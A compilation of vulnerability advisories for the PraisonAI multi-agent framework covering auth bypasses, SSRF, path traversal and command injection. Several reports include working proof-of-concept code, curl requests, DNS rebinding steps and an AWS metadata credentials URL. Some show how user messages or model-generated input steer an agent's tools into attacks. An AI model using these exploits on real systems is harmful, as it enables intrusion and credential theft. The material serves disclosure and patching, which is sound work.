See how praisonai compares to other vendors in security performance
PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonaiplatform/services/authservice.py assigns the public dev-secret-change-me value to JWTSECRET when PLATFORMJWTSECRET is unset, and its production guard does not run when PLATFORMENV is also unset because that setting defaults to dev. A remote unauthenticated attacker can mint an HS256 token with an arbitrary sub and email, and the platform's AuthService.verifytoken() and getcurrentuser dependency accept the forged identity for protected API routes. This vulnerability is fixed in praisonai-platform 0.1.6.
PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonaiplatform/services/authservice.py falls back to the public dev-secret-change-me HS256 signing key when PLATFORMJWTSECRET is unset, while the startup and token-issuance guards are disabled because PLATFORMENV also defaults to dev. An unauthenticated attacker can sign a JWT containing an attacker-chosen sub value, and AuthService.verifytoken() accepts it as an authenticated identity, enabling user or workspace-owner impersonation when a target identifier is known. This vulnerability is fixed in praisonai-platform 0.1.6.
PraisonAI is a multi-agent teams system. From 1.6.0 until 1.7.2, AgentOS in src/praisonai-ts/src/os/agentos.ts uses the 0.0.0.0 default from src/praisonai-ts/src/os/config.ts and registers GET /api/agents and POST /api/chat without authentication middleware. A remote caller who can reach the service can obtain agent names, roles, and instruction prefixes and can invoke a selected agent, potentially reaching its tools, memory, external APIs, credentials, and workflow state. An initial remediation was released in version 1.7.2.
PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to childprocess.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell syntax, allowing arbitrary command execution with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, SandboxExecutor network-isolated mode in src/praisonai-ts/src/cli/features/sandbox-executor.ts uses buildEnv() only to inject invalid httpproxy and httpsproxy environment variables and does not establish an operating-system network boundary. Programs that ignore those proxy variables can open sockets directly, allowing supposedly isolated commands to reach localhost, internal services, cloud metadata, or external hosts and potentially exfiltrate data. An initial remediation was released in version 1.7.2.
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the childprocess module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
PraisonAI is a multi-agent teams system. From praisonaiagents 0.6.0 until 1.6.59 and PraisonAI 3.10.0 until 4.6.59, ToolsMCPServer.runsse() in src/praisonai-agents/praisonaiagents/mcp/mcpserver.py mounts SseServerTransport on the legacy /sse and /messages/ endpoints without default Host, Origin, or authentication enforcement. A malicious website can use DNS rebinding against a reachable local or internal SSE server, supply attacker-controlled Host and Origin headers, enumerate registered tools, and invoke them with the server user's privileges. The Streamable HTTP transport rejects the same hostile Origin, which isolates the flaw to the legacy SSE wrapper. An initial remediation was released in praisonaiagents 1.6.59 and PraisonAI 4.6.59.
PraisonAI is a multi-agent teams system. Prior to 4.6.62, setting PRAISONAICALLAUTH to disabled makes verifytoken accept requests to /api/v1/agents/{id}/invoke without CALLSERVERTOKEN authentication. Deployments that use the application's advertised opt-out can expose registered agents and their connected tools or private context to unauthenticated invocation. The vulnerability is fixed in 4.6.62.
PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands bind to 0.0.0.0 by default, a reachable unauthenticated client can execute commands as the UI service account even when the MCP handshake later fails. This vulnerability is fixed in 4.6.59.
PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAIAPIKEY or PRAISONAIJWTSECRET and the corresponding recipe value are absent. Unauthenticated clients can then reach recipe execution, input, and output surfaces and may trigger connected tools despite the operator explicitly enabling authentication. This issue is fixed in 4.6.58.
PraisonAI is a multi-agent teams system. Prior to 4.6.59, the CODETOOLS wrappers keep workspaceroot as None and pass workspace=None to readfile, searchreplace, and applydiff helpers that enforce path containment only for a truthy workspace. An application that exposes codereadfile, codesearchreplace, or codeapplydiff before setworkspace can therefore let prompt-influenced calls read and modify files outside the intended project directory, while explicitly configured workspaces remain effective. This vulnerability is fixed in 4.6.59.
PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agentfile path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, src/praisonai-agents/praisonaiagents/tools/emailtools.py interpolates LLM-controlled fromaddr, subject, and query values directly into quoted IMAP SEARCH criteria. Embedded quote, backslash, newline, or null characters can escape the intended criterion and alter IMAP operations when searchemails, replyemail, or archiveemail is exposed to an agent with configured email credentials, allowing mailbox data access, modification, deletion, or connection disruption. This issue is fixed in praisonaiagents 1.6.59.
PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.59 and praisonaiagents 1.6.59, the unauthenticated POST /api/v1/runs Jobs API accepts attacker-controlled agentyaml, and the approve field can mark executecommand as YAML-approved before @requireapproval checks critical tools. This chain allows a remote caller to cause a configured language model agent to invoke arbitrary operating-system commands without credentials or operator interaction. This vulnerability is fixed in praisonai 4.6.59 and praisonaiagents 1.6.59 as fixed versions.
Summary
praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:
python self.userpath = self.basepath / userid # LINE 145 — no sanitization
No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).
Details
Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:
python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"
self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)
self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"
All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):
The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory
mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)
B — Via Agent constructor (memory dict): python from praisonaiagents import Agent
agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
python from pathlib import Path import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid
try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())
Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape
Step 2 — Live exploit (files written outside base):
python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)
TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()
mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)
Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)
High-impact scenarios:
1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.
3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.
4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
Remediation Suggestion (for maintainers)
Validate and resolve userid before using it in path construction:
python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )
self.userpath = self.basepath / userid
# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )
The same pattern should be applied to basepath parameter.
Summary
praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.
Affected versions
- Confirmed on 4.6.50 (current PyPI, 2026-06-02) - Likely since 4.6.34 when the serve subsystem shipped - File: src/praisonai/praisonai/cli/features/serve.py
What happens
The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into createagentsapp(config). But that function never reads config["apikey"]. The FastAPI app gets created with no auth at all. Same thing in createunifiedapp.
The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't. $ grep -n "apikey" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "apikey": {"default": None}, 847: "apikey": {"default": None},
Endpoints exposed without auth
- POST /agents — runs the full agent workflow - POST /agents/{name} — invokes a specific agent - POST /api/v1/agents/{id}/invoke — n8n integration endpoint - GET / — lists all endpoints - GET /praisonai/discovery — service discovery
Not the same as CVE-2026-44338
CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTHENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.
PoC
Setup
bash python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml
Script
python import sys, types, tempfile, os
Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agentinvoke", "praisonai.agentsgenerator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m)
disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def init(self, k): pass def addprovider(self, a, k): pass def addendpoint(self, a, k): pass def todict(self): return {} disc.creatediscoverydocument = lambda k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].adddiscoveryroutes = lambda a,b: None sys.modules["praisonai.api.agentinvoke"].FASTAPIAVAILABLE = False
class FakeGen: def init(self, k): pass def generatecrewandkickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agentsgenerator"].AgentsGenerator = FakeGen
class FakeLLM: def todict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM
f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush()
from praisonai.cli.features.serve import ServeHandler app = ServeHandler().createagentsapp({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "supersecret", # <-- should protect the server })
from starlette.testclient import TestClient c = TestClient(app)
r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLYWRONG"})
print(f"No auth header → {r1.statuscode}") # 200 print(f"Wrong key → {r2.statuscode}") # 200
os.unlink(f.name)
Output
No auth header → 200 Wrong key → 200
Both succeed. The key is ignored.
Live server test
bash start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999
hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' → 200, workflow executes
Impact
Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.
What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.
Fix
createagentsapp() and createunifiedapp() need to actually read config["apikey"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.
References
- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Summary The webhookurl field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.
Details The validator catches socket.gaierror and silently allows the URL:
python src/praisonai/praisonai/jobs/models.py:55 try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback: raise ValueError("private address") except socket.gaierror: pass # BUG: DNS failure silently ignored → SSRF bypass
The HTTP call is made later with no re-validation:
python src/praisonai/praisonai/jobs/executor.py:402 async with httpx.AsyncClient() as client: await client.post(job.webhookurl, ...) # no second IP check
Proof of Concept
DNS rebinding flow: 1. Register attacker.com with TTL=1s → resolves to 1.2.3.4 (public IP) 2. Submit job: webhookurl=http://attacker.com/callback 3. Validation passes (public IP) 4. Switch DNS: attacker.com → 127.0.0.1 5. Job completes → server POSTs to 127.0.0.1 → internal SSRF
Unresolvable domain bypass (no DNS rebinding required):
bash curl -X POST http://:8005/api/v1/runs \ -d '{"prompt":"run","webhookurl":"http://unresolvable.internal/cb","agentyaml":"..."}' Validation: gaierror → pass → URL accepted
Impact SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.
Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agentname} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable: - v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask apiserver.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.
### Details
The CLI accepts and forwards an API key:
- src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents - src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key - src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key - src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand - src/praisonai/praisonai/cli/features/serve.py:199 parses apikey into the config
However, createagentsapp() never uses config["apikey"] to create middleware or a FastAPI auth dependency:
- src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app - src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agentname} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly
The same app also mounts praisonai.api.agentinvoke, whose /api/v1/agents/{agentid}/ invoke route is protected separately by CALLSERVERTOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.
### PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler.createagentsapp() path with apikey set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.
python #!/usr/bin/env python3 from future import annotations
import sys import tempfile from pathlib import Path
REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]
class FakeAgent: def init(self): self.calls = []
def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}"
def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agentinvoke
with tempfile.TemporaryDirectory() as tmp: agentsyaml = Path(tmp) / "agents.yaml" agentsyaml.writetext( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", )
handler = ServeHandler() app = handler.createagentsapp( { "file": str(agentsyaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "operator-secret-api-key", } )
fakeagent = FakeAgent() agentinvoke.registeragent("poc", fakeagent)
client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, )
print(f"STATUSCODE={response.statuscode}") print(f"RESPONSEJSON={response.json()!r}") print(f"AGENTCALLS={fakeagent.calls!r}") print(f"UNAUTHENTICATEDAGENTEXECUTED={fakeagent.calls == ['unauthenticated request']}")
if name == "main": main()
Run:
cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUSCODE=200 RESPONSEJSON={'response': 'fake-agent-ran:unauthenticated request'} AGENTCALLS=['unauthenticated request'] UNAUTHENTICATEDAGENTEXECUTED=True
The important condition is that the app was configured with:
"apikey": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.
Recommended changes:
- In createagentsapp(), derive an auth dependency from config.get("apikey"). - Apply it to both POST {path} and POST /agents/{agentname}. - Prefer Authorization: Bearer <apikey>. Optionally also support X-API-Key for compatibility.
- Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALLSERVERTOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agentname} are covered.
Summary
praisonaiagents/tools/spidertools.py contains an SSRF protection bypass. The function hostisblocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.
This has been confirmed with a live exploit: scrapepage("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.
scrapepage, extractlinks, crawl, and extracttext are all registered as LLM-callable agent tools (see tools/init.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.
This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to webcrawltools.py (line 231: socket.gethostbyname call), but that fix was not ported to spidertools.py.
Details
Root cause — spidertools.py lines 26-65:
python def hostisblocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return ipblocked(ipaddress.ipaddress(host)) except ValueError: pass try: return ipblocked(ipaddress.ipaddress(socket.inetaton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup
socket.inetaton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ipaddress() and socket.inetaton() raise exceptions, and the function returns False (not blocked).
Contrast with the fixed version in webcrawltools.py line 228-238:
python if os.environ.get("ALLOWLOCALCRAWL") != "true": try: ipstr = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast: continue # BLOCKED except socket.gaierror: continue # fail-closed
Tool registration confirms this is user-reachable:
python praisonaiagents/tools/init.py lines 51-55 TOOLMAPPINGS = { 'scrapepage': ('.spidertools', None), # <- user-reachable LLM tool 'extractlinks': ('.spidertools', None), 'crawl': ('.spidertools', None), 'extracttext': ('.spidertools', None), ... }
Any agent given these tools will call scrapepage(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.
PoC
Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)
Step 1 — Verify the filter bypass (no network needed):
python from praisonaiagents.tools.spidertools import SpiderTools, hostisblocked
nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(hostisblocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools().validateurl("http://127.0.0.1.nip.io/")) # True — ALLOWED print(hostisblocked("127.0.0.1")) # True — correctly blocked
Expected output: False True True
Step 2 — Full SSRF: internal service response exfiltrated
python import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spidertools import SpiderTools
PORT = 19235 received = []
class InternalService(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b'{"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def logmessage(self, a): pass
threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serveforever, daemon=True ).start() time.sleep(0.2)
attackurl = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
Filter allows it assert SpiderTools().validateurl(attackurl) is True # passes
HTTP request actually reaches 127.0.0.1 r = requests.get(attackurl, timeout=5) print("STATUS:", r.statuscode) # 200 print("BODY: ", r.text) # {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json']
Observed output: STATUS: 200 BODY: {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json']
Step 3 — Agent-level trigger (how a user triggers this in production):
python from praisonaiagents import Agent from praisonaiagents.tools import scrapepage
agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrapepage], )
Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") Agent calls scrapepage("http://127.0.0.1.nip.io:8080/admin") Request hits 127.0.0.1:8080/admin Internal admin panel content returned to attacker print(result)
Additional bypass URLs (no setup required):
| Target | URL | |--------|-----| | Localhost | http://127.0.0.1.nip.io/ | | Private network | http://10.0.0.1.nip.io/ | | AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |
Impact
What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.
Who is impacted: Anyone deploying PraisonAI agents that include scrapepage, extractlinks, crawl, or extracttext tools and accept user-supplied URLs. This includes:
- Web research agents (the primary intended use case for spider tools) - Jobs API users — any authenticated API caller who submits jobs with agentyaml specifying spider tools - Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.
Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to webcrawltools.py but was missed in spidertools.py, creating an exploitable inconsistency.
---
Remediation Suggestion (for maintainers)
One-line fix in hostisblocked() — mirror what webcrawltools.py already does:
python After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return ipblocked(ipaddress.ipaddress(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked
PraisonAI is a multi-agent teams system. In versions prior to 1.6.58, the webcrawl tool performs its SSRF check only on the initially supplied URL, allowing the protection to be bypassed so the tool connects to attacker-chosen internal destinations. The check resolves the hostname once with socket.gethostbyname and rejects private/loopback/link-local results, but then passes the URL to a fetcher using httpx.Client(followredirects=True) (or urllib.request.urlopen when httpx is absent, which also follows redirects) that re-resolves the hostname at connect time with no further validation. This validate-here/fetch-there gap is exploitable through both HTTP redirects and DNS rebinding. If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host, with the response body returned in the webcrawl() result. This issue has been fixed in version 1.6.58.
Summary
praisonaiagents.tools.webcrawltools.webcrawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(followredirects=True) and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by webcrawl().
This appears to be an incomplete fix / patch bypass for the published webcrawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).
Affected Component
Package:
text praisonaiagents
File:
text src/praisonai-agents/praisonaiagents/tools/webcrawltools.py
Functions:
text webcrawl() crawlwithhttpx()
Affected Versions
Validated affected:
- praisonaiagents 1.5.128 via repository tag v4.5.128; - praisonaiagents 1.6.40 via repository tag v4.6.40; - praisonaiagents 1.6.56 via repository tag v4.6.56; - current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.
Suggested affected range for maintainer confirmation:
text = 1.5.128, <= 1.6.56
No patched version is known to me at submission time.
Root Cause
Current webcrawl() validates only the initially supplied URL:
- requires http or https; - resolves the initial hostname with socket.gethostbyname(); - rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOWLOCALCRAWL=true.
The default fetch sink then follows redirects:
python with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url)
There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.
Local Reproduction
The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.
Run from a checkout of the repository:
fish env PYTHONPATH=src/praisonai-agents uv run --with httpx pocwebcrawlredirectssrf.py
Observed output:
text DIRECTCONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'} REDIRECTRESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'} REDIRECTSERVERHIT: True INTERNALSERVERHIT: True PRAI-CAND-001 CONFIRMED: webcrawl follows a redirect to loopback
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
text REDIRECTHIT: True INTERNALHIT: False
Impact
If an attacker can influence URLs passed to webcrawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the webcrawl() result.
Practical impact includes:
- reading loopback-only HTTP services; - probing private network services; - reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
Severity
This mirrors the CVSS v4.0 shape already used for the prior webcrawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
Suggested Fix
